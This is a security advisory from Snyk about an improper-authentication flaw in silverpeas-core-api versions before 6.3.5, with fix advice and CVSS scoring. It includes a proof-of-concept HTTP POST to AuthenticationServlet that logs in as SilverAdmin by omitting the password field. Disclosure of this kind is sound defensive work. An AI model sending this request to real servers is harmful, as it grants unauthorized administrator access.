Improper Authentication Affecting org.silverpeas.core:silverpeas-core-api package, versions [,6.3.5)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept

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  • Snyk ID SNYK-JAVA-ORGSILVERPEASCORE-7210308
  • published 5 Jun 2024
  • disclosed 3 Jun 2024
  • credit Unknown

How to fix?

Upgrade org.silverpeas.core:silverpeas-core-api to version 6.3.5 or higher.

Overview

Affected versions of this package are vulnerable to Improper Authentication via the AuthenticationServlet. An attacker can gain unauthorized access and potentially obtain superadmin privileges by omitting the Password field during the authentication process.

PoC


POST /silverpeas/AuthenticationServlet HTTP/2
Host: 212.129.58.88
Content-Length: 28
Origin: https://212.129.58.88
Content-Type: application/x-www-form-urlencoded

Login=SilverAdmin&DomainId=0

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
8.2 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    Low
  • Availability (A)
    None